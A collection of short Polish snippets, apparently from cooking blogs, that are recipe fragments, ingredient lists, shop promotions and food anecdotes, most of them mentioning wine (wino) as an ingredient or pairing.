akurat nie chciało mi się stać przy garnkach. Miałam akurat w lodówce otwarte opakowanie sobrasady z pieprzem z Hiszpańskiego Smaku  - mojego sklepu z hiszpańskimi łakociami i winami a ponieważ sobrasada jest świetna do różnych sosów, makaronów, świetnie rozpuszcza się dając fajny pomarańczowy kolor, paprykowy podwędzany smak, pomyślałam, że może wyjdzie coś ciekawego. I wyszło. Zupełnie nowe oblicze

nich tak jak ja, gdy tylko ich spróbujecie. Wspaniałej jakości oliwki i oliwa, doskonałe, aromatyczne wędliny: jamon, cecina, morcilla, wyśmienite kiełbasy: chorizo, fuet, sobrasada. Wspaniałe i przystępne cenowo wina. Od 16-19 maja jesteśmy w Blue City w Warszawie, koniecznie nas odwiedźcie i spróbujcie naszych rarytasów. Od 24-26 maja mamy gościnne występy w Płocku podczas Jarmarku Tumskiego . Informacje

Składniki: papryka  ogórek ząbek czosnku 4-5 pomidorów bez skórki (ja czasem używam w puszce i dodaję też sos tomate frito) 3 łyżki jasnego octu balsamicznego z białego wina (lub jabłek) mała czerwona cebula sól himalajska, pieprz do smaku łyżka oliwy z oliwek zimna filtrowana woda opcjonalnie: kromka chleba bez skórki (w wersji glutenfree - chleb gryczany) opcjonalnie: jabłko

pokrojone na półplasterki 2 ząbki czosnku przetarte przez praskę kilo kiszonej kapusty odsączonej i pokrojonej na mniejsze kawałki 3 łyżki chrzanu 2 łyżki musztardy ziarnistej 300 ml białego wina 2 łyżki sosu sojowego 2 łyżki oleju do podania Przepis na bigos z kapusty z chrzanem: Kapusta wigilijna z chrzanem Pizzoccheri Są tu jacyś miłośnicy Włoch i nietypowych włoskich makaronów

Pogácsa. Przepis pochodzi z bloga Poproszę dokładkę. Bułki są mega puszyste a to za sprawą ziemniaków, delikatne i bardzo smakowite. Pogacze to na Węgrzech typowa przekąska do piwa czy wina. To takie trochę bułeczki, trochę wytrawne ciastka. Smakują idealnie do wędliny, sera czy twarogu, z dżemem czy konfiturą są idealne. Skoro dziś jeszcze nie piekłyście to jutro koniecznie

ół. Gotowe bułeczki posmarować rozbełtanym jajkiem i dać im jeszcze chwilę na podrośnięcie. Piec ok. 20-30 minut, aż zrobią się złociste. Bułeczki można podawać jako przekąska do wina lub piwa, ale mogą też stanowić bazę na kanapki. Dzięki ziemniakom dosyć długo pozostają świeże

się stać bazą do najróżniejszych stylizacji. Zarówno casual jak i na tzw. wyjście. Kolorami kolekcji są czerń, odmiany szarości, lekki róż, głęboka czerwień, którą ja określam jako kolor starego wina. Uzupełnieniem jest biel - na przykład w cudownej bluzce w czarne kropeczki. Dodatki to szale i bielizna w sześciu wariantach kolorystycznych. Jak ważny jest prawidłowy dobór bielizny wie każda kobieta

Pecorino 12 Parmezan 12 Mleko 1 szklanka 1 Mąka 500 g 2 Ryż 100 g 1,5 Spaghetti 250 g 3 Dodatki Masło Oliwa Proszek do pieczenia Szklanka wina wytrawnego lub piwa Przyprawy Tymianek Rozmaryn Kmin rzymski Nasiona kolendry Papryka słodka Kakao Pieprz Sól Cukier Razem okoł0 120 zł Artykuł Menu na tydzień: Dania najlepsze na drugi dzień pochodzi

spróbujcie mojej pasty serowej z trzech serów, piwa i czerwonej cebuli-niemiecka propozycja  idealnie sprawdzi się  na kanapki i różnego rodzaju imprezy, jak również do piwa czy wina, podana ze świeżą pokrojoną bagietką ,pięknie będzie się prezentować na każdym stole,przepis znajdziecie  tutaj Pasta na kanapki z orzeszków ziemnych i sera feta pyszne połączenie prażonych orzechów

warsztatach serowarskich z marką BROWIN. Firmę BROWIN znają zapewne wszyscy miłośnicy domowych wyrobów. W BROWIN znajdziesz wszystko co jest potrzebne do produkcji domowych serów, wędlin,  pieczywa, nalewek, win...w zasadzie znajdziesz tam wszystko. Warsztaty odbyły się w siedzibie BROWIN, w Łodzi przy ulicy Pryncypalnej. Warsztaty prowadziła genialna Iza, znającą się na domowych wyrobach jak mało kto. Iza zapoznała

warsztatach serowarskich z marką BROWIN. Firmę BROWIN znają zapewne wszyscy miłośnicy domowych wyrobów. W BROWIN znajdziesz wszystko co jest potrzebne do produkcji domowych serów, wędlin,  pieczywa, nalewek, win...w zasadzie znajdziesz tam wszystko. Warsztaty odbyły się w siedzibie BROWIN, w Łodzi przy ulicy Pryncypalnej. Warsztaty prowadziła genialna Iza, znającą się na domowych wyrobach jak mało kto. Iza zapoznała

zdrowiem – psychicznym i fizycznym. Jednym z nich było przede wszystkim zadbanie o swoją cerę , która w ostatnim czasie uległa znacznemu pogorszeniu. Przypuszczam, że w głównej mierze była to wina złego odżywiania, a w szczególności… miłości do serów pleśniowych. Jeśli też je lubicie, to polecam zaobserwować jak wpływają na Waszą cerę – u mnie skończyło się dramatem. Przerzuciłam

kulinarnapiniata.pl W dotychczasowych edycjach udział brali Partnerzy: GASTRO MAGIC SERVICE ,PRYMAT, ŻYWIEC ZDRÓJ, Nalewki Regionalne Majewski, KGH POLSKA, BUKAT, BACZEWSKI, BONITO CAFEE. MARANI, DE GUSTA BEER, FORNETTI, BAHSLSEN , CENTRUM WINA, AVIKO, SADVIT, HELLO CAFE, WINESTORE, KRAINA SERÓW Liczby obrazujące akcję „Polska od Kuchni”: 2400 restauracji nominowanych w poprzednich edycjach, 526 restauracji uczestniczących, 212 laureatów Polska od Kuchni – akcja Fundacji

rukoli 1 fenkuł 1 łyżka szczypiorku na grzanki 100g bagietki skórka starta z 1 cytryny 1/4 szklanki oliwy sos 5 łyżek oliwy 1 łyżka octu z czerwonego lub białego wina 2 łyżki soku z cytryny 1 łyżeczka suszonego oregano 1/2 łyżeczki soli morskiej 1/2 łyżeczki świeżo zmielonego czarnego pieprzu Przygotowanie sos Wszystkie składniki umieścić w słoiku. Zakręcić i dobrze

tylko jej chwilowe przebłyski bo jak nigdy dotąd tęskno mi już do cieplejszych dni... Sałatka ta jest bardzo szybka w przygotowaniu. Idealna na lekką kolację dla dwojga. Przy kieliszku wina. Pomarańcza nadaje sałatce orzeźwienia a orzechy i ser - wyrazu - dzięki temu całość nie jest mdła. Kurczak zaś nasyci;) Szybko, prosto i (nie)banalnie :)   Składniki: 1 opakowanie mixu sałat

galaretki w kształcie serca. Całość oblana delikatną, słodką czekoladą, udekorowana afrodyzjakami w postaci świeżych truskawek będzie z pewnością słodką niespodzianką dla naszej drugiej połówki i świetnym dodatkiem do lampki wina lub szampana w Dniu Zakochanych. Składniki: Biszkopt: 3 jajka 3 łyżki cukru 3 łyżki mąki pszennej 1 łyżka mąki ziemniaczanej 1 łyżeczka proszku do pieczenia 4 łyżka kakao

kupić, wiecie takiej w szklanych butelkach ale pięknie wpasowała się tutaj oranżada Helena Imprezy były suto zakrapiane alkoholem. I u nas tego nie zabrakło. Królowała domowa cytrynówka , bimber i wina z domowej spiżarki. PRL zawitał nie tylko w salonie, gdzie Goście bawili się przy muzyce z tamtych lat (tutaj macie playlistę ) ale również w zakamarki mieszkania. Nie obyło się

Kasza orkiszowa 1 szklanka 7 zł Mąka tortowa 4 szklanki 5,5 zł Cieciorka puszka 7 zł Dodatki Proszek do pieczenia 2 łyżki Majonez 3 łyżki Musztarda 1 łyżka Wino ½ szklanki Ocet winny 4 łyżki Bułka tarta szklanka Miód 1 łyżka Oliwa kilka łyżek Olej rzepakowy kilka łyżek Oregano suszone 1 łyżeczka Kminek mielony ½ łyżeczki Kmin rzymski ½ łyżeczki ziarenek

obiad ;) (adsbygoogle = window.adsbygoogle || []).push({}); Łosoś z sezamem w sosie miodowo sojowym: 3 filety z łososia ze skórą 4 łyżeczki miodu 2 łyżeczki sosu sojowego 1 łyżeczka octu z białego wina  1 ząbek czosnku sezam do posypania (adsbygoogle = window.adsbygoogle || []).push({}); Łosoś z sezamem w sosie miodowo sojowym: Łososia osuszamy,  podsmażamy na oliwie z oliwek z każdej strony

cieszyć, bo to kwestia genów oraz diety. Wybielanie zębów może okazać się konieczne częściej w sytuacjach, gdy sięgamy częściej po takie produkty jak czarna kawa i mocne herbaty, czerwone wino, a nawet sos sojowy, ocet balsamiczny czy słodycze oraz słodkie owoce.   Na szczęście w obecnych czasach można łatwiej poradzić sobie z uzyskaniem białego uśmiechu. Poza wizytą w profesjonalnym

bardzo zdrowa Sałatka z selera naciowego, surowego brokuła, jabłka, żurawiny, orzechów włoskich i pestek dyni z makaronem pełnoziarnistym , polana dressingiem z oleju rydzowego, oliwy z oliwek, octu z czerwonego wina i miodu. Pyszna, chrupiąca sałatka na śniadanie, lunch lub kolację. Idealna do zabrania do szkoły lub pracy. Nazwałam tę sałatkę “Sałatką piękności” ze względu na obecność składników

łyżeczka papryki ostrej 1 łyżka mąki 1 łyżka kminku 1 łyżka pasty pomidorowej lub koncentratu pomidorowego 1 łyżka pasty paprykowej 2 szklanki wody lub bulionu ew 1/2 kieliszka wina sól, pieprz tłuszcz do smażenia  przygotowanie Wolnowar rozgrzać zgodnie z instrukcją. Wołowinę umyć,osuszyć, pokroić w sporą kostkę (3x3 cm). Pokrojoną cebulę przesmażyć na patelni w 3-4 łyżkach

jego przygotowanie jest dziecinnie proste. Głównym założeniem jest przygotowanie sosu o niezwykle delikatnej konsystencji i zrównoważonym smaku. Aby wzbogacić smak sosu, bardzo często dodaje się do niego białe wino, czosnek, a nawet majeranek.  Do przygotowania tego sosu nie dodajemy mąki! To bardzo ważne, bo odpowiednią gęstość uzyskamy przez odparowanie. Dzięki temu konsystencja i smak powstałego sosu grzybowego będą

albo zjeść ze świeżą bułeczką. Składniki 1 kg szynki wieprzowej 3-4 marchewki 2 pietruszki 1 niewielki por 1 cebula nieduży seler 600 ml bulionu 150 ml czerwonego wytrawnego wina olej do smażenia 2 łyżki koncentratu pomidorowego przyprawy: 1 łyżeczka majeranku, 1 łyżeczka oregano, 2-3 papryczki piri piri, 1 łyżeczka kminku, 1 łyżeczka słodkiej papryki, sól pieprz Przepis

skórkę. Przepis sprawdzony, pochodzi z Przepisów Joli . Gorąco polecam i życzę smacznego. Na karnawał, Tłusty Czwartek… i nie tylko: Tradycyjne oponki serowe Najlepsze pączki Faworki na piwie Chrusty na winie Churros z masą migdałową Oponki z twarogu Pączki jogurtowe – Fritule Pączki z budyniem Pączki hiszpańskie Pączki z serka mascarpone Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki z ziemniakami

się jej smażyć, gdyż może zgorzknieć. Lepiej ją dusić. Dymka po lekkim obgotowaniu nadaje się do marynowania. Szalotka - do dań duszonych, sosów, wspaniale komponuje się w sosach na bazie wina. Należy ją dusić, gdyż smażenie wywołuje w niej goryczkę. We Francji jest bardzo popularna. Jak obrać i pokroić cebulę, a nie zalać się łzami? Sposobów na "bezłzowe" krojenie cebuli

rumieniec, serduszka i brokaty, bo słony karmel kocham. Załadowałam do wózka i pędem do kasy, powstrzymałam się przed degustacją przed sklepem, na ławeczce, z miejscowymi koneserami spożywania win prostych na świeżym powietrzu. W domu powąchałam i pierwszy mały zgrzyt – pachnie wódką i jakimś olejkiem zapachowym. Mojej koleżance ten zapach skojarzył się z waniliowym płynem do płukania tkanin i jestem

latem, podczas wakacji, codziennie mogła mi robić na śniadanie omlety lub naleśniki. Co robi najpyszniejszą drożdżówkę i pleśniaka. Co zamiast gotować mówi "upitrasić". Która nauczyła mnie pić kawy i wina, zanim poszłam do podstawówki. Dała mi całe multum najpiękniejszych wspomnień, a w niedzielę dała mi bułeczki.  Jeśli miałabym swój charakter porównać do osób, które znam powiedziałabym, że jestem

razem dusimy przez 10minut co jakiś czas mieszając sos aby się nie przypalił. Gotowe polędwiczki podajemy z ryżem. Smacznego. Zapraszam również do skorzystania z innych przepisów: Skrzydełka duszone w winie – przepis Gulasz z szynki z pieczarkami | ksiega-smaku.pl Włoska zupa krem z pomidorów z dodatkiem pesto Artykuł Polędwiczki wieprzowe w sosie chrzanowym pochodzi z serwisu Księga Smaku

Dzień dobry, kocham cię! - polska komedia romantyczna z 2014 roku w reżyserii Ryszarda Zatorskiego. Ten film jest doskonały w towarzystwie z lampką wina. Polecam gorąco do obejrzenia. ROZWIŃ I CZYTAJ DALEJ

Tymianek suszony Warzywa 2 małe cukinie Szalotki 6 sztuk Czosnek główka Pistacje garść Ziemniaki kilogram Suszone pomidory słoiczek Nabiał/sery Ser camembert Parmezan Śmietana 0,5 l Masło Dodatki Wino – ¼ szklanki Olej Oliwa Cytryna Razem 120 zł Artykuł Menu na tydzień: Awaryjne menu na tydzień pochodzi z serwisu Niedzielny kucharz

oponki dostałam od mojej Mamy. Gorąco polecam i życzę smacznego. Poniżej moja kolekcja przepisów na karnawał, Tłusty Czwartek… i nie tylko: Najlepsze pączki Faworki na piwie Chrusty na winie Churros z masą migdałową Oponki z twarogu Pączki jogurtowe – Fritule Pączki z budyniem Pączki hiszpańskie Pączki z serka mascarpone Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki z ziemniakami

napisała, szczęście dla niej to: “ spacer po parku z siostrą (…) słuchanie, jak deszcz bębni po dachu, gdy z kubkiem herbaty w dłoni siedzę przytulona do mojego chłopaka smakowanie wina w ogrodzie mojej mamy kawa z przyjaciółmi (…)” Oczywiście, nie małym atutem tej pozycji jest nie tylko wizja szczęścia opisana, sfotografowana, ale i ugotowana! Autorka znalazła miejsce w swojej

przez od miesiąca do sześciu miesięcy. Po tym czasie zlać gotowy ocet do butelki . Ocet szampański - jest łagodny,przyjemny. Można go zastąpić fermentującym w butelkach octem z cava, katalońskiego wina musującego. Proste, prawda?warto go mieć w swojej kuchni

dojrzałe pomidory 👌 1 słodka czerwona papryka 👌 1/2 łyżeczki soli 👌 1/2 łyżeczki pieprzu 👌 3 łyżeczki oregano 👌 2 łyżki koncntratu pomidorowego 👌 200 ml przecieru pomidorowego 👌 200 ml. białego wytrawnego wina 👌 1 paczka 500 gr. krótkiego makaronu 👌 500 gr. oczyszczonych krewetek dowolnej wielkości (mogą być świeże lub mrożone) WYKONANIE

pół. Po wyjęciu z lodówki odrywać kawałki ciasta, pozostałe umieścić w lodówce, i rozwałkować na grubość ok 3-4 mm (w razie konieczności podsypywać delikatnie mąką). Kieliszkiem od wina wycinać krążki. Na środek każdego krążka umieścić jabłko, oprószyć cynamonem. Zlepiać środki ( patrz zdjęcie ).   Układać na blaszce, wyłożonej papierem do pieczenia, zlepieniem na dół w średnich odstępach (ciastka minimalnie

bardzo dobrej jakości. Większość włoskich przepisów, które królują w wielu kartach restauracyjnych powstało z biedy, gospodarze używali tego co było. Dlatego w tej kuchni królują pomidory, oliwki, oliwa, sery, wina czy świeże zioła. To co można było wyhodować w gospodarstwie, to z tego się korzystało. Wspominam o tym, dlatego, że przygotowując dania z kuchni włoskiej, nawet te najbardziej proste

otrzymujemy bardzo subtelny i bogaty smak. Chowder z łososiem wędzonym to pyszna kremowa zupa do przygotowania w około 30 minut! Delikatne mięso ryby połączone kremowym bulionem na bazie białego wina. Szybki i pyszny przepis na łatwy obiad w środku tygodnia. Nieodłącznym dodatkiem jest chrupiące pieczywo, bez którego ta zupa nie będzie smakować tak dobrze. Pamiętajcie o nim! Jesień/zima

Bardzo lubię, gdy zimą, kiedy za oknem szaleje śnieżyca i wichura, w domu pachnie cynamonem, goździkami czy pieczonymi orzechami, czyli smakołykami. Do tego kieliszek dobrego wina, ciekawa książka i jak dla mnie jeden z kilku przepisów na wieczór idealny mam gotowy. Pogoda za oknem jakby trochę zgadza, więc jako uzupełnienie poniedziałkowego popołudnia lub wieczoru mam dla Was fantastyczny przepis

przepis. Scroll down for recipe in English Currywurst (4 porcje) Składniki: 500 g kiełbasy pokrojonej w grube plasterki 2 cebule, pokrojone w piórka 2 łyżki octu z białego/czerwonego wina 2 łyżki miodu 250 ml passaty pomidorowej 1 łyżka curry w proszku 1 łyżeczka mielonego chilli 1 łyżka mielonej słodkiej papryki 4 ogórki konserwowe, pokrojone w kosteczkę 4 pszenne

Zakładam ciepłe skarpety, opatulam się kocem, sięgam po książkę i rozgrzewam napojem kurkumowo-imbirowym. Żadne przeziębienie mi nie straszne! Na zdrowie, P.S. Alternatywą dla tego napoju może być grzane wino     Artykuł Napój kurkumowo-imbirowy pochodzi z serwisu figasmakiem.pl

Składniki: 8 filetów z tilapii Marynata: 5 łyżek soku z cytryny 1 łyżeczka startego imbiru 6 łyżek sosu sojowego 6 łyżek białego wytrawnego wina 2 ząbki czosnku (przeciśnięte przez praskę) sól, biały pieprz olej do smażenia mąka kukurydziana do panierowania Sposób wykonania: Wszystkie składniki marynaty łączymy ze sobą. Polewamy nią filety i rozprowadzamy dokładnie na każdym kawałku. Pozostawiamy

kaczki 1 łyżeczka mielonej kolendry, mielonej gałki muszkatołowej i mielonego imbiru Składniki na sos: sos z pieczenia udek 25 g cukru 2 łyżki miodu 150 ml octu z czerwonego wina sok z 2 pomarańczy sok z 2 cytryn 1 łyżka masła Przygotowanie: Nakłuj skórkę udek widelcem i natrzyj porządnie mieszanką przypraw. Przełóż do naczynia do zapiekania i wstaw

wszystkich składników. Na małym ogniu podduszamy ok. 1 minuty, aż makaron nabierze wspaniałego smaku. Makaron podajemy od razu po przygotowaniu najlepiej z kieliszkiem schłodzonego białego wina. **** Quando il sugo sarà pronto, aggiungete il prezzemolo fresco tritato finemente e gli spaghetti al dente. Mescolate bene il tutto e saltate per circa 1 minuto, giusto il tempo

zawsze. My to już starzy jesteśmy, nie mamy siły się bawić. Ledwo doczekaliśmy do północy, po drodze jedząc to i owo, strzeliliśmy z szampana (znaczy się z rosyjskiego wina musującego, bo kogo by było stać na szampana) pogadaliśmy parę minut i poszliśmy spać. Znaczy Sylwester jak co roku, udany. Ale część z Was pewnie się znacznie intensywniej bawiła

serów i wędlin. Deserowy talerz z różnymi serami i mini kiełbaskami to najprostszy przepis na noworoczny bufet. Taki deserowy talerz przyrządzam nawet bez okazji. Jest to idealna przekąska do wina. Sylwestrowy bufet nie może się obyć bez moich ulubionych grzybów. Polecam nadziewane pieczarki , takie na jeden kęs. Te pieczarki zrobiłam w zeszłym roku na Sylwestra i od razu stały

Ostatnio strasznie lubię takie szybkie kolorowe sałatki, dlatego na blogu znajdziecie ich już kilka. Są idealne na lekką romantyczna kolację z lampką wina, czy na spotkanie z przyjaciółmi. Pięknie się prezentują na stole, smakują wybornie a do tego nie idą w boczki. Tym razem postanowiłam dodać granatu, który już jakiś czas zalegał w mojej kuchni i powiem

wędlin, mięsa. Kolejny pomysł to sos do mięsa na ostro. Zostanie wykorzystany jako dodatek do kanapek, wędlin, mięsa. Sos z jabłek na ostro 5 jabłek 100 ml białego wytrawnego wina kawałek (tak 2 cm) świeżego imbiru 1 czerwona papryka 5 goździków garść śliwek suszonych 2 cebule 3 ziela angielskie 1 łyżeczka mielonej kolendry kawałeczek (nie za duży) papryczki habanero

wpis. Karkówka z warzywami z dodatkiem musztardy.   Była to niedziela, a dokładnie niedzielny poranek gdzie mieliśmy, my dorośli, zaplanowany wyjazd do Krakowa na próbowanie polskich młodych win. My mamy plan wyjazdowy, a rodzina zostaje w domu w związku z tym trzeba zostawić im coś do jedzenia i tu przyszedł z pomocą mój ukochany wolnowar. Wolnowar to urządzenie

spróbujcie mojej pasty serowej z trzech serów, piwa i czerwonej cebuli-niemiecka propozycja  idealnie sprawdzi się  na kanapki i różnego rodzaju imprezy, jak również do piwa czy wina, podana ze świeżą pokrojoną bagietką ,pięknie będzie się prezentować na każdym stole przepis znajdziecie  tutaj Carpaccio z buraka na rukoli Nie spodziewałam się ,że ta przystawka będzie

takie spotkanie foodpairingowe w restauracji w mojej dzielnicy. Zawsze jak tam jestem to zastanawiam się dlaczego nie chodzę częściej. Podają tam 5 różnych potraw i do każego 2 kieliszki wina. Cały zestaw jest w bardzo rozsądnej cenie i nie mam daleko. Następnego dnia zwykle przypominam sobie dlaczego nie chodzę tam częściej. Ledwo żyję z przejedzenia i potrzebny mi pilny

okazji, ale mi się jakoś skojarzył ze świętami. Może dlatego, że dzięki właściwościom róży, idealny na zimę. - owoce dzikiej róży - cukier - mąka ziemniaczana Wykonanie: Na nasze szczęście o nie wino, dlatego owoców nie trzeba pozbywać pestek. Gotujemy wywar z owoców i dosładzamy. Dodajemy trochę mąki ziemniaczanej rozpuszczonej w zimnej wodzie i energicznie mieszamy. To ma być lekko zagęszczone

domku to fajny pomysł na wspólną zabawę dla całej rodziny. Przepis TU Ciasto Makowa Panienka, które wymyśliłam w ubiegłym roku, stało się hitem podczas świat. TU Przepis Aromatyczne grzane wino – Tu przepis Kochani ! Nadchodzące Święta Bożego Narodzenia niosą ze sobą wiele radości oraz refleksji dotyczących minionego okresu i planów na nadchodzący Nowy 2019 Rok. W tych wyjątkowych dniach

minut w piekarniku nagrzanym do około 170 C . Na dziesięć minut przed końcem odkrywam , żeby warzywa mogły się przypiec . Serwujemy na gorąco . Dobrze jest podać do posiłku lampkę wina na lepsze trawienie Odgrzewany jest jeszcze bardziej pyszny . Smacznego !       Artykuł Karp zapiekany w warzywach pochodzi z serwisu Ogrodnik w podróży

wartswy dość zręcznie, ponieważ druga warstwa kremu zaczeła już powoli tężeć. Posiekane orzeszki wrzucamy na suchą patelnie i lekko je podprażamy (tak jak wspomniałam nie wiem czy to nie wina orzechów, ale moje zrobiły się gorzkie więc na drugi raz pominełabym ten krok). Wysypujemy równomiernie na ostatnią warstwę herbatników. Kremówkę podgrzewamy i do ciepłej wrzucamy czekoladę. Mieszamy, aż składniki

zupę cebulową użyjcie 200ml porto, jeśli wolicie zupę mniej słodką – wystarczy tylko 100ml (zawsze można na koniec gotowania dodać go więcej). Jeśli nie macie porto, zamieńcie je na czerwone wino ze szczepu Merlot – półsłodkie, francuskie lub kalifornijskie. Odparowujemy mieszając 1/3 alkoholu z rondla i wlewamy bulion wołowy.   PODKRĘCONY BULION WOŁOWY Z KOSTKI BIO Cebulowa nie zniesie rosołu drobiowego

niż zwykle. Mamy też ochotę na zupełnie inne potrawy, na rozgrzewające i sycące comfort foody, które ratują nas od chłodu. To też egzotyczne smaki pomarańczy, przypraw do piernika, grzanego wina i słodycze. Świąteczne spotkania to ciepło w środku zimy i światłem choinki wśród mroku. Kiedy wreszcie wracamy do domu i siadamy nad ciepłą kolacją nie mamy już ochoty wychodzić

miękki, jego listki są wiotkie. Idealnie nadaje się do nadawania smaku i aromatu składnikowi tak podstawowemu jak ocet – wystarczy łodygę z liśćmi zanurzyć w butelce dobrego octu z białego wina i poczekać 2-3 tygodnie. Taki ocet to świetny materiał na dressingi, ziołowe vinegrety i jako składnik marynat.   Estragon najlepszy i najsmaczniejszy jest świeży – a zaraz potem – zamrożony

materiałów tworzyłam nowe rzeczy, a kamyczki, patyczki i zasuszone kwiatki zamieniałam w prezenty „od serca”. Teraz zbieram Continue reading... Artykuł Warsztaty DIY – lampa z butelki po winie pochodzi z serwisu Pasja Smaku

Sałatka z grejpfruta i awokado Składniki: mieszanka ulubionych sałat (np. strzępiasta) 2 czerwone grejpfruty 1 awokado pół grantu Dressing: 5 łyżek oliwy z oliwek 1 łyżka octu z czerwonego wina 1 obrany i rozgnieciony ząbek czosnku 1 płaska łyżeczka musztardy sól i pieprz Przygotowanie dressingu: Do małego słoiczka włożyć wszystkie składniki dressingu, słoiczek zakręcić i energicznie nim potrząsnąć

adsbygoogle = window.adsbygoogle || []).push({}); To też może Ci ę zainteresować: → Ciasteczka cytrynowo-pomarańczowe → Ciasteczka czekoladowe z orzechami pekan i jagodami goji → Pieczone figi z orzechami włoskimi i sosem z czerwonego wina → Pasta figowa z orzechami włoskimi → Ciasteczka brownie z migdałami i amaretto

się o samodzielne przygotowanie ciasta francuskiego. Ja w takie coś nie wchodzę, nie mam tyle czasu :) Kupuję gotowe ciasto francuskie, z którego wychodzą świetne przekąski na imprezę, przekąski do wina, czy przekąski na Sylwestra, a ten już niebawem, bo czas leci niezwykle szybko! Ciasto francuskie nadziałam tylko dwoma pysznymi składnikami. A efekt? Efekt jest powalający! Potrzebujemy: 1 płat ciasta

leciutko solimy. Zupę serwujemy z kroplą creme fraiche, porcją podsmażonych podgrzybków, usmażonym na  chrupiąco porem i proszkiem z suszonych grzybów. Do zupy grzybowej krem idealnie pasuje niemieckie wino  Spätburgunder, Silvaner Zupa grzybowa krem

zawrze dodajemy sól oraz sok z limonki i wsypujemy ryż. Całość gotujemy często mieszając aż ryż wchłonie cały płyn. Gotowe! Do dania przygotowałam tak zwaną sałatkę "na winie", czyli wrzucacie do niej to, co się nawinie! 😁 Składniki są nieistotne, bo najważniejszy jest boski dressing o azjatyckim aromacie, który naprawdę podkręca tę zieleninę. Szybka sałatka z azjatyckim dressingiem: ulubiony miks

łyżki żelatyny sól i pieprz – sok z połowy cytryny – 1 -2 jajka ugotowane na twardo – natka pietruszki – 1 białko – 1 łyżeczka octu z białego wina Przygotowanie : Rybę pokrój na mniejsze kawałki, musi być oczyszczona z łusek i wszystkich nieczystości. Jeśli masz rybę w całości staraj się odciąć filety tak, aby miały jak najmniej ości

bardzo popularne w okresie świąt Bożego Narodzenia. Dzieci uwielbiają maczać kawałki ciasta w mleku lub kakao, dorośli delektują się w towarzystwie słodkich win, likierów lub grappy. Jeżeli lubicie wszelakie ciasta z maślan ą  kruszonk ą , to sbrisolona powinna podbić Wasze serca a zwłaszcza podniebienia ;) polecam Wam serdecznie

niewielka kostka), śliwki pokroić w kosteczkę, połączyć z odcedzoną niedokładnie cebulą, dorzucić orzechy, doprawić do smaku i  odstawić do przegryzienia się. Do sałatki Anna Gmurczyk z Niemieckiego Instytutu Wina i Tomasz Prange Barczyński, polecają: - 2017 Weißer Burgunder Wolfsheim trocken, Weingut Bernhard, Hesja Nadreńska, - 2016 Riesling halbtrocken, Weingut Meiser, Hesja Nadreńska Ja zdecydowanie polecam Rieslinga

ogórków konserwowych kilka strąków papryki konserwowej 3-4 łyżki konserwowej kukurydzy 1 cebula 6 łyżek oleju 2 łyżeczki musztardy 1 łyżka miodu 1 łyżka octu jabłkowego lub z białego wina sól, pieprz Kapustę drobno siekamy. Ogórki i paprykę kroimy w kostkę. Cebulę drobno siekamy. Olej, ocet jabłkowy, miód i musztardę dokładnie mieszamy, do połączenia. Doprawiamy solą oraz pieprzem. Źródło

popularny w niemieckiej kuchni, jak również w krajach skandynawskich. Podstawa deseru to czerwone owoce: maliny, czerwona porzeczka, truskawka lub wiśnie zagotowane w soku z owoców, wodzie  lub czerwonym winie, następnie zagęszczone mączką ziemiaczaną, kukurydzianą, ryżową lub sago. Najczęściej podawany z sosem waniliowym lub bitą śmietaną. W zależności od rodzaju i koloru użytych owoców istnieje także wersja: Gelbe Grütze

charakteru. Koniecznie z odrobiną soku i skórki otartej z cytryny.  Danie łatwe, szybkie i przede wszystkim pyszne. Robi się ekspresowo - jest gotowe w kilkanaście minut.  Z lampką wina smakuje wybornie. SKŁADNIKI / 2 PORCJE 20 g masła 2 łyżki oliwy 1 szalotka 30 g orzechów włoskich 150 g krewetek BLACK TIGER (około 12 sztuk) 6 pomidorków koktajlowych

wpis. Karkówka z warzywami z dodatkiem musztardy.   Była to niedziela, a dokładnie niedzielny poranek gdzie mieliśmy, my dorośli, zaplanowany wyjazd do Krakowa na próbowanie polskich młodych win. My mamy plan wyjazdowy, a rodzina zostaje w domu w związku z tym trzeba zostawić im coś do jedzenia i tu przyszedł z pomocą mój ukochany wolnowar. Wolnowar to urządzenie

tort makowy tort makowy z kremem czekoladowym Tort makowy z kremem śliwkowym tort świąteczny – czekoladowo korzenno jabłkowy tort ze śliwek suszonych tort z palonych migdałów tort z suszonych moreli wino do ciasta na świątecznym stole

Nowym Sączu, która słynie z kuchni regionalnej i żydowskiej. Oprócz zupy kminkowej jedliśmy też czulent z kluskami muszkatołowymi, ozorek w sosie chrzanowym, flaki i gołąbki. Do tego podano lokalne wina z okolic Nowego Sącza z winnic Strugi, Zawadka i Tabu. Zupę kminkową w Ratuszowej podaje się z grzanką z serem tak jak w starych książkach kucharskich, ale ja postanowiłam

się jeszcze albo sake, albo mirin, rodzaj sfermentownej, lekko alkoholowej, słodkawej przyprawy. Tak to wygląda w oryginale, natomiast na świecie powstało wiele wariacji na temat teriyaki: z dodatkiem imbiru, wina ryżowego, sherry, warzyw i sezamu. W naszej wersji oprócz kurczaka są upieczone na czarno papryki – dla koloru i zdrowia. Użyliśmy polędwiczek drobiowych, bo są delikatne i szybko się

niezłym freakiem, żeby gotować w weekend, no cóż, my tak nie uważamy. Zamiast zalegać w sobotę przed telewizorem spędzamy razem czas robiąc coś pożytecznego, możemy napić się po kieliszku wina i porozmawiać. Ja gotuję, Agnieszka przygotowuje plany zdjęciowe, robi zdjęcia, a potem razem wszystko pakujemy. Wspólne gotowanie bardzo integruje. Drugi argument na rzecz takiego gotowania jest taki, że poświęcając

misce delikatnie wymieszać ugotowane krewetki, drobno pokrojone mango, pomidorki koktajlowe pokrojone w ćwiartki oraz drobno pokrojoną sałatę.  Krewetki nałożyć do niedużych, szklanych naczyń (dobrze sprawdzą się kieliszki do wina), polać sosem z awokado. Koktajl z krewetek odstawić do lodówki do czasu podania.  Jak zrobić sos z awokado? Awokado obrać i pozbawić pestki. Awokado zmiksować z natką pietruszki

Paella to danie hiszpańskie. Ja postanowiłam zrobić ją w nieco innej odsłonie - azjatyckiej. Bez białego wina oraz szafranu. Za to z mleczkiem kokosowym i grzybami shitake. Smakuje przepysznie! Robi się ją dość prosto. Kolejny dowód na to, że gotowanie nie musi być nudne! Bawmy się w kuchni i eksperymentujmy a nasze potrawy z pewnością będą wychodzić smacznie i różnorodnie

jest nie co starszy. Wtedy pojawiło się oficjalne wydanie natomiast w zapiskach prywatnych istniał dużo wcześniej. Zachęcam do zrobienia i degustacji w … Czytaj dalej wątróbka drobiowa w czerwonym winie

